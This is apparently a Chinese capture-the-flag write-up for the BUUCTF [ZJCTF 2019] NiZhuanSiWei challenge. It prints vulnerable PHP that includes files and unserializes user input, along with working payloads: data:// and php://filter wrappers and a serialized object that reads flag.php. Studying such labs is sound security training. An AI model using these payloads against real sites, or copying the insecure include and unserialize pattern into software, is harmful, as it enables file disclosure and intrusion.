提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
[ZJCTF 2019]NiZhuanSiWei 1
题目
BUUCTF的[ZJCTF 2019]NiZhuanSiWei 1
一、做题步骤
1.审计代码
代码如下:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
代码提示:
1.GET方式提交
text
file
password
2.提交text
用伪协议进行构造
?text=data://text/plain,welcome to the zjctf
3.提交file
用伪协议读取useless.php
?text=data://text/plain,welcome to the
zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
4.解码base64密文
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
5.提交password
反序列化代码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
$a->file=('./flag.php');
echo serialize($a);
?>
结果
O:4:"Flag":1:{s:4:"file";s:10:"./flag.php";}
6.获取flag
?text=data://text/plain,welcome to the zjctf&file=php://filter/read/resource=useless.php&password=O:4:"Flag":1:{s:4:"file";s:10:"./flag.php";}
查看源代码
flag{5799f5c1-e596-41c6-9405-28dab5b0532f}